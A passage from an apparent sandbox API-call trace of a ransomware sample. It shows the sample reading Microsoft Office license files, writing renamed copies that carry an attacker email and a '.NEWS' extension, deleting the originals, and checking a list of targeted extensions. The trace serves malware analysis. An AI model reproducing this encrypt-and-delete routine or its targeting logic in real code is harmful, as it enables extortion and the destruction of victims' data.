-1 [0177.785] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0177.785] lstrlenW (lpString="AccessVL_MAK-ppd.xrm-ms") returned 23 [0177.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0177.786] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6729) returned 1 [0177.786] CloseHandle (hObject=0x478) returned 1 [0177.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 0x220 [0177.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0177.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0177.787] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.787] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0177.788] GetLastError () returned 0x0 [0177.788] ReadFile (in: hFile=0x478, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1a49, lpOverlapped=0x0) returned 1 [0178.404] WriteFile (in: hFile=0x548, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1a50, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1a50, lpOverlapped=0x0) returned 1 [0178.485] ReadFile (in: hFile=0x478, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.485] WriteFile (in: hFile=0x548, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x102, lpOverlapped=0x0) returned 1 [0178.485] SetEndOfFile (hFile=0x548) returned 1 [0178.485] CloseHandle (hObject=0x548) returned 1 [0178.485] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.485] SetEndOfFile (hFile=0x478) returned 1 [0178.521] CloseHandle (hObject=0x478) returned 1 [0178.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0179.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ppd.xrm-ms")) returned 1 [0179.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0179.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0179.984] lstrlenW (lpString=".doc") returned 4 [0179.984] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString=".docx") returned 5 [0179.985] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0179.985] lstrlenW (lpString=".pdf") returned 4 [0179.985] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString=".xls") returned 4 [0179.985] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString=".xlsx") returned 5 [0179.985] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0179.985] lstrlenW (lpString=".ppt") returned 4 [0179.985] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0179.985] lstrlenW (lpString=".zip") returned 4 [0179.985] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString=".rar") returned 4 [0179.985] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString=".bz2") returned 4 [0179.985] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString=".7z") returned 3 [0179.985] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0179.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0179.985] lstrlenW (lpString=".dbf") returned 4 [0179.985] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0179.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0179.985] lstrlenW (lpString=".1cd") returned 4 [0179.985] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0179.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0179.986] lstrlenW (lpString=".jpg") returned 4 [0179.986] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0180.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0180.094] lstrlenW (lpString=".doc") returned 4 [0180.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString=".docx") returned 5 [0180.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.094] lstrlenW (lpString=".pdf") returned 4 [0180.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString=".xls") returned 4 [0180.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString=".xlsx") returned 5 [0180.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.094] lstrlenW (lpString=".ppt") returned 4 [0180.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0180.094] lstrlenW (lpString=".zip") returned 4 [0180.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString=".rar") returned 4 [0180.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString=".bz2") returned 4 [0180.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.094] lstrlenW (lpString=".7z") returned 3 [0180.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0180.095] lstrlenW (lpString=".dbf") returned 4 [0180.095] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0180.095] lstrlenW (lpString=".1cd") returned 4 [0180.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ppd.xrm-ms") returned 73 [0180.095] lstrlenW (lpString=".jpg") returned 4 [0180.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.095] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.095] lstrlenW (lpString="ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 29 [0180.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.097] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=19927) returned 1 [0180.097] CloseHandle (hObject=0x4f0) returned 1 [0180.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0180.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.098] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.098] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0180.099] GetLastError () returned 0x0 [0180.099] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x4dd7, lpOverlapped=0x0) returned 1 [0180.105] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0180.107] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.107] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10e, lpOverlapped=0x0) returned 1 [0180.107] SetEndOfFile (hFile=0x4e8) returned 1 [0180.107] CloseHandle (hObject=0x4e8) returned 1 [0180.107] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.107] SetEndOfFile (hFile=0x4f0) returned 1 [0180.112] CloseHandle (hObject=0x4f0) returned 1 [0180.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_oem_perp-ul-phn.xrm-ms")) returned 1 [0180.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.116] lstrlenW (lpString=".doc") returned 4 [0180.116] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.116] lstrlenW (lpString=".docx") returned 5 [0180.116] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.116] lstrlenW (lpString=".pdf") returned 4 [0180.116] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.116] lstrlenW (lpString=".xls") returned 4 [0180.116] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.116] lstrlenW (lpString=".xlsx") returned 5 [0180.116] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.116] lstrlenW (lpString=".ppt") returned 4 [0180.116] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.116] lstrlenW (lpString=".zip") returned 4 [0180.117] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.117] lstrlenW (lpString=".rar") returned 4 [0180.117] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.117] lstrlenW (lpString=".bz2") returned 4 [0180.117] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.117] lstrlenW (lpString=".7z") returned 3 [0180.117] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.117] lstrlenW (lpString=".dbf") returned 4 [0180.117] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.117] lstrlenW (lpString=".1cd") returned 4 [0180.117] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.117] lstrlenW (lpString=".jpg") returned 4 [0180.117] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.117] lstrlenW (lpString=".doc") returned 4 [0180.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.117] lstrlenW (lpString=".docx") returned 5 [0180.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.117] lstrlenW (lpString=".pdf") returned 4 [0180.118] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString=".xls") returned 4 [0180.118] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString=".xlsx") returned 5 [0180.118] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.118] lstrlenW (lpString=".ppt") returned 4 [0180.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.118] lstrlenW (lpString=".zip") returned 4 [0180.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString=".rar") returned 4 [0180.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString=".bz2") returned 4 [0180.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString=".7z") returned 3 [0180.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.118] lstrlenW (lpString=".dbf") returned 4 [0180.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.118] lstrlenW (lpString=".1cd") returned 4 [0180.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-phn.xrm-ms") returned 79 [0180.118] lstrlenW (lpString=".jpg") returned 4 [0180.119] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.119] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.119] lstrlenW (lpString="ExcelR_Retail-pl.xrm-ms") returned 23 [0180.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.121] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=10627) returned 1 [0180.121] CloseHandle (hObject=0x4f0) returned 1 [0180.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0180.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.123] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.124] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0180.125] GetLastError () returned 0x0 [0180.125] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2983, lpOverlapped=0x0) returned 1 [0180.130] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2990, lpOverlapped=0x0) returned 1 [0180.132] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.132] WriteFile (in: hFile=0x4e8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x102, lpOverlapped=0x0) returned 1 [0180.132] SetEndOfFile (hFile=0x4e8) returned 1 [0180.132] CloseHandle (hObject=0x4e8) returned 1 [0180.133] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.133] SetEndOfFile (hFile=0x4f0) returned 1 [0180.139] CloseHandle (hObject=0x4f0) returned 1 [0180.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0180.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.666] lstrlenW (lpString=".doc") returned 4 [0180.666] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString=".docx") returned 5 [0180.667] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.667] lstrlenW (lpString=".pdf") returned 4 [0180.667] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString=".xls") returned 4 [0180.667] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString=".xlsx") returned 5 [0180.667] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.667] lstrlenW (lpString=".ppt") returned 4 [0180.667] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.667] lstrlenW (lpString=".zip") returned 4 [0180.667] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString=".rar") returned 4 [0180.667] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString=".bz2") returned 4 [0180.667] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString=".7z") returned 3 [0180.667] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.667] lstrlenW (lpString=".dbf") returned 4 [0180.667] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.667] lstrlenW (lpString=".1cd") returned 4 [0180.667] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.668] lstrlenW (lpString=".jpg") returned 4 [0180.668] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.668] lstrlenW (lpString=".doc") returned 4 [0180.668] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.668] lstrlenW (lpString=".docx") returned 5 [0180.668] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.668] lstrlenW (lpString=".pdf") returned 4 [0180.668] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.668] lstrlenW (lpString=".xls") returned 4 [0180.668] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.668] lstrlenW (lpString=".xlsx") returned 5 [0180.668] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.668] lstrlenW (lpString=".ppt") returned 4 [0180.668] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.668] lstrlenW (lpString=".zip") returned 4 [0180.669] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.669] lstrlenW (lpString=".rar") returned 4 [0180.669] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.669] lstrlenW (lpString=".bz2") returned 4 [0180.669] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.669] lstrlenW (lpString=".7z") returned 3 [0180.669] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.669] lstrlenW (lpString=".dbf") returned 4 [0180.669] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0180.669] lstrlenW 